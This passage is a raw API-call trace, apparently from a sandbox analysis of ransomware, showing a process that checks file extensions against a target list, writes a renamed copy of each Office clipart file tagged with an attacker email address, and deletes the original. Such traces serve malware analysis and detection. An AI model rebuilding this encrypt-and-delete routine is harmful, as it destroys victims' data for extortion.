(lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00274_.wmf")) returned 1 [0267.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68 [0267.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68 [0267.319] lstrlenW (lpString=".doc") returned 4 [0267.319] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0267.319] lstrlenW (lpString=".docx") returned 5 [0267.319] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0267.319] lstrlenW (lpString=".pdf") returned 4 [0267.319] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0267.319] lstrlenW (lpString=".xls") returned 4 [0267.319] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0267.319] lstrlenW (lpString=".xlsx") returned 5 [0267.319] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0267.319] lstrlenW (lpString=".ppt") returned 4 [0267.319] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0267.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68 [0267.319] lstrlenW (lpString=".zip") returned 4 [0267.319] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0267.320] lstrlenW (lpString=".rar") returned 4 [0267.320] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0267.320] lstrlenW (lpString=".bz2") returned 4 [0267.320] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0267.320] lstrlenW (lpString=".7z") returned 3 [0267.320] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0267.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68 [0267.320] lstrlenW (lpString=".dbf") returned 4 [0267.320] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0267.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68 [0267.320] lstrlenW (lpString=".1cd") returned 4 [0267.320] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0267.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68 [0267.320] lstrlenW (lpString=".jpg") returned 4 [0267.320] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0267.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68 [0267.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68 [0267.320] lstrlenW (lpString=".doc") returned 4 [0267.320] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0267.320] lstrlenW (lpString=".docx") returned 5 [0267.320] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0267.320] lstrlenW (lpString=".pdf") returned 4 [0267.320] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0267.320] lstrlenW (lpString=".xls") returned 4 [0267.320] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0267.321] lstrlenW (lpString=".xlsx") returned 5 [0267.321] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0267.321] lstrlenW (lpString=".ppt") returned 4 [0267.321] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0267.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68 [0267.321] lstrlenW (lpString=".zip") returned 4 [0267.321] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0267.321] lstrlenW (lpString=".rar") returned 4 [0267.321] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0267.321] lstrlenW (lpString=".bz2") returned 4 [0267.321] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0267.321] lstrlenW (lpString=".7z") returned 3 [0267.321] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0267.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68 [0267.321] lstrlenW (lpString=".dbf") returned 4 [0267.321] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0267.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68 [0267.321] lstrlenW (lpString=".1cd") returned 4 [0267.321] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0267.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68 [0267.321] lstrlenW (lpString=".jpg") returned 4 [0267.321] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0267.321] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0267.322] lstrlenW (lpString="BL00296_.WMF") returned 12 [0267.322] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00296_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524 [0267.322] GetFileSizeEx (in: hFile=0x524, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=812) returned 1 [0267.322] CloseHandle (hObject=0x524) returned 1 [0267.323] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00296_.wmf")) returned 0x220 [0267.323] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00296_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0267.323] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00296_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524 [0267.323] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.324] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.324] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00296_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0267.324] GetLastError () returned 0x0 [0267.324] ReadFile (in: hFile=0x524, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x32c, lpOverlapped=0x0) returned 1 [0267.334] WriteFile (in: hFile=0x530, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0x330, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0x330, lpOverlapped=0x0) returned 1 [0267.336] ReadFile (in: hFile=0x524, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0267.336] WriteFile (in: hFile=0x530, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0267.336] SetEndOfFile (hFile=0x530) returned 1 [0267.336] CloseHandle (hObject=0x530) returned 1 [0267.344] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.344] SetEndOfFile (hFile=0x524) returned 1 [0267.613] CloseHandle (hObject=0x524) returned 1 [0267.613] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0267.613] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00296_.wmf")) returned 1 [0267.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68 [0267.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68 [0267.614] lstrlenW (lpString=".doc") returned 4 [0267.614] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0267.614] lstrlenW (lpString=".docx") returned 5 [0267.614] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0267.614] lstrlenW (lpString=".pdf") returned 4 [0267.614] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0267.614] lstrlenW (lpString=".xls") returned 4 [0267.614] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0267.615] lstrlenW (lpString=".xlsx") returned 5 [0267.615] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0267.615] lstrlenW (lpString=".ppt") returned 4 [0267.615] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0267.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68 [0267.615] lstrlenW (lpString=".zip") returned 4 [0267.615] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0267.615] lstrlenW (lpString=".rar") returned 4 [0267.615] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0267.615] lstrlenW (lpString=".bz2") returned 4 [0267.615] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0267.615] lstrlenW (lpString=".7z") returned 3 [0267.615] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0267.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68 [0267.615] lstrlenW (lpString=".dbf") returned 4 [0267.615] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0267.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68 [0267.615] lstrlenW (lpString=".1cd") returned 4 [0267.616] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0267.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68 [0267.616] lstrlenW (lpString=".jpg") returned 4 [0267.616] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0267.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68 [0267.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68 [0267.616] lstrlenW (lpString=".doc") returned 4 [0267.616] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0267.616] lstrlenW (lpString=".docx") returned 5 [0267.616] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0267.616] lstrlenW (lpString=".pdf") returned 4 [0267.616] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0267.616] lstrlenW (lpString=".xls") returned 4 [0267.616] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0267.616] lstrlenW (lpString=".xlsx") returned 5 [0267.616] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0267.616] lstrlenW (lpString=".ppt") returned 4 [0267.617] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0267.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68 [0267.617] lstrlenW (lpString=".zip") returned 4 [0267.617] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0267.617] lstrlenW (lpString=".rar") returned 4 [0267.617] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0267.617] lstrlenW (lpString=".bz2") returned 4 [0267.617] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0267.617] lstrlenW (lpString=".7z") returned 3 [0267.617] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0267.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68 [0267.617] lstrlenW (lpString=".dbf") returned 4 [0267.617] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0267.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68 [0267.617] lstrlenW (lpString=".1cd") returned 4 [0267.617] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0267.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68 [0267.617] lstrlenW (lpString=".jpg") returned 4 [0267.617] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0267.618] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0267.618] lstrlenW (lpString="BL00526_.WMF") returned 12 [0267.618] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00526_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0267.629] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=27552) returned 1 [0267.629] CloseHandle (hObject=0x554) returned 1 [0267.629] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00526_.wmf")) returned 0x220 [0267.629] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00526_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0267.630] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00526_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0267.630] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.630] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.630] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00526_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524 [0267.631] GetLastError () returned 0x0 [0267.631] ReadFile (in: hFile=0x554, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x6ba0, lpOverlapped=0x0) returned 1 [0267.729] WriteFile (in: hFile=0x524, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0x6bb0, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0x6bb0, lpOverlapped=0x0) returned 1 [0267.730] ReadFile (in: hFile=0x554, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0267.730] WriteFile (in: hFile=0x524, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0267.731] SetEndOfFile (hFile=0x524) returned 1 [0267.731] CloseHandle (hObject=0x524) returned 1 [0267.740] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.740] SetEndOfFile (hFile=0x554) returned 1 [0267.747] CloseHandle (hObject=0x554) returned 1 [0267.747] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0267.747] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00526_.wmf")) returned 1 [0267.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68 [0267.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68 [0267.748] lstrlenW (lpString=".doc") returned 4 [0267.748] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0267.748] lstrlenW (lpString=".docx") returned 5 [0267.748] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0267.748] lstrlenW (lpString=".pdf") returned 4 [0267.748] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0267.748] lstrlenW (lpString=".xls") returned 4 [0267.748] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0267.749] lstrlenW (lpString=".xlsx") returned 5 [0267.749] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0267.749] lstrlenW (lpString=".ppt") returned 4 [0267.749] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0267.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68 [0267.749] lstrlenW (lpString=".zip") returned 4 [0267.749] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0267.749] lstrlenW (lpString=".rar") returned 4 [0267.749] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0267.749] lstrlenW (lpString=".bz2") returned 4 [0267.749] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0267.749] lstrlenW (lpString=".7z") returned 3 [0267.749] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0267.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68 [0267.752] lstrlenW (lpString=".dbf") returned 4 [0267.752] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0267.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68 [0267.752] lstrlenW (lpString=".1cd") returned 4 [0267.752] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0267.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68 [0267.752] lstrlenW (lpString=".jpg") returned 4 [0267.752] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0267.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68 [0267.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68 [0267.753] lstrlenW (lpString=".doc") returned 4 [0267.753] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0267.753] lstrlenW (lpString=".docx") returned 5 [0267.753] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0267.753] lstrlenW (lpString=".pdf") returned 4 [0267.753] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0267.753] lstrlenW (lpString=".xls") returned 4 [0267.753] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0267.753] lstrlenW (lpString=".xlsx") returned 5 [0267.753] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0267.753] lstrlenW (lpString=".ppt") returned 4 [0267.753] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0267.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68 [0267.753] lstrlenW (lpString=".zip") returned 4 [0267.753] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0267.754] lstrlenW (lpString=".rar") returned 4 [0267.754] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0267.754] lstrlenW (lpString=".bz2") returned 4 [0267.754] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0267.754] lstrlenW (lpString=".7z") returned 3 [0267.754] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0267.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68 [0267.754] lstrlenW (lpString=".dbf") returned 4 [0267.754] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0267.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68 [0267.754] lstrlenW (lpString=".1cd") returned 4 [0267.754] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0267.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68 [0267.754] lstrlenW (lpString=".jpg") returned 4 [0267.754] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0267.754] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0267.754] lstrlenW (lpString="BL00648_.WMF") returned 12 [0267.754] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00648_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0267.755] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=11500) returned 1 [0267.755] CloseHandle (hObject=0x554) returned 1 [0267.755] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00648_.wmf")) returned 0x220 [0267.755] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00648_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0267.756] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00648_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0267.756] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.756] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.756] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00648_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c [0267.758] GetLastError () returned 0x0 [0267.758] ReadFile (in: hFile=0x554, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x2cec, lpOverlapped=0x0) returned 1 [0267.773] WriteFile (in: hFile=0x43c, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0x2cf0, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0x2cf0, lpOverlapped=0x0) returned 1 [0267.775] ReadFile (in: hFile=0x554, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0267.775] WriteFile (in: hFile=0x43c, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0267.775] SetEndOfFile (hFile=0x43c) returned 1 [0267.775] CloseHandle (hObject=0x43c) returned 1 [0268.412] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.412] SetEndOfFile (hFile=0x554) returned 1 [0268.416] CloseHandle (hObject=0x554) returned 1 [0268.416] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0268.416] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00648_.wmf")) returned 1 [0268.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68 [0268.417] lstrlenW (lpString="C:\\Program Files\\Microsoft 